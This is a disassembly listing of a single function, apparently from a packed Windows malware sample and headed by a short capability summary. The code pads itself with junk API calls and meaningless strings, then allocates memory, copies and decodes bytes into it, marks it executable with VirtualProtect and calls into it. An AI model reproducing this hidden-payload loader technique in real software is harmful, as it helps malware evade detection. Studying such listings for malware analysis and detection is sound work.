Function at 0x4011d0
Capabilities:
Access the windows event log
Create mailslot

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x828
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor esi, esi
cmp eax, 0x627af
jne 0x401238
push esi
push esi
push esi
push str.Dikicisupizi_pikarebe_givinenasabu
call dword [sym.imp.KERNEL32.dll_CreateMailslotA]
push esi
push str.Yiletozo_yihebezobuwuci_wudo_cadufero
push esi
call dword [sym.imp.USER32.dll_SetPropA]
call dword [sym.imp.KERNEL32.dll_GetConsoleOutputCP]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push str.Majakacanalu_hibuzolufafora_fodujugifoyunice
call fcn.00401604
push esi
call fcn.00401588
pop ecx
pop ecx
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_ReportEventA]
call dword [sym.imp.ole32.dll_CoGetCurrentProcess]
xor edi, edi
lea eax, [ebp - 0x28]
push eax
push esi
call dword [sym.imp.USER32.dll_GetMenuInfo]
cmp edi, 0x4ad
jle 0x401256
cmp dword [ebp - 0x20], 0x521f812a
jne 0x40125f
inc edi
cmp edi, 0xfdc3
jl 0x40123a
mov eax, dword [0x40e414]
mov dword [0xb01af4], eax
xor eax, eax
cmp eax, 0x209
jne 0x40127c
add dword [0xb01af4], 0xf5a3
inc eax
cmp eax, 0xc3e
jl 0x40126b
xor edi, edi
cmp edi, 0x3cbe21
jne 0x4012a0
push dword [0xb01af4]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [0x427d6c], eax
inc edi
cmp edi, 0x590053
jl 0x401286
xor edi, edi
cmp edi, 0x1a79
jge 0x4012bf
push str.Vayito
push esi
call dword [sym.imp.USER32.dll_RemovePropW]
cmp edi, 0x7c16df
jne 0x4012d1
mov eax, dword [0x40e008]
mov dword [0xb18554], eax
cmp edi, 0x865
jge 0x4012f9
push esi
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
push str.Mofipasica_jocowe_nodi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_AppendMenuW]
inc edi
cmp edi, 0x8d70ff
jl 0x4012ab
xor edi, edi
cmp dword [0xb01af4], esi
jbe 0x401356
cmp edi, 0x18bd
jge 0x401322
call dword [sym.imp.KERNEL32.dll_GetConsoleCP]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
cmp edi, 0x652
mov eax, dword [0xb18554]
mov al, byte [eax + edi + 0xf5a3]
mov ecx, dword [0x427d6c]
mov byte [ecx + edi], al
jge 0x40134d
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
inc edi
cmp edi, dword [0xb01af4]
jb 0x40130c
mov dword [ebp - 4], 0xbb
sub dword [ebp - 4], 0x7b
xor edi, edi
cmp edi, 0x500233
jne 0x401384
lea eax, [ebp - 8]
push eax
push dword [ebp - 4]
push dword [0xb01af4]
push dword [0x427d6c]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
inc edi
cmp edi, 0x88d29b
jl 0x401363
mov edx, dword [0xb01af4]
mov ecx, dword [0x427d6c]
push 0x40e010
call fcn.0040119f
xor edi, edi
cmp edi, 0x3f03c2
jne 0x4013be
nop
add dword [0xb01af4], 0x35c667fc
call dword [0x427d6c]
cmp edi, 0x19bc
jge 0x4013cd
push esi
call dword [sym.imp.KERNEL32.dll_SetCommBreak]
inc edi
cmp edi, 0x5a545b
jl 0x4013a5
push esi
lea eax, [ebp - 0x828]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov ecx, dword fs:[0x2c]
mov eax, dword [0xb18558]
mov eax, dword [ecx + eax*4]
push esi
mov dword [eax + 4], 1
call fcn.0040140d
pop ecx
pop edi
xor eax, eax
pop esi
leave
ret 0x10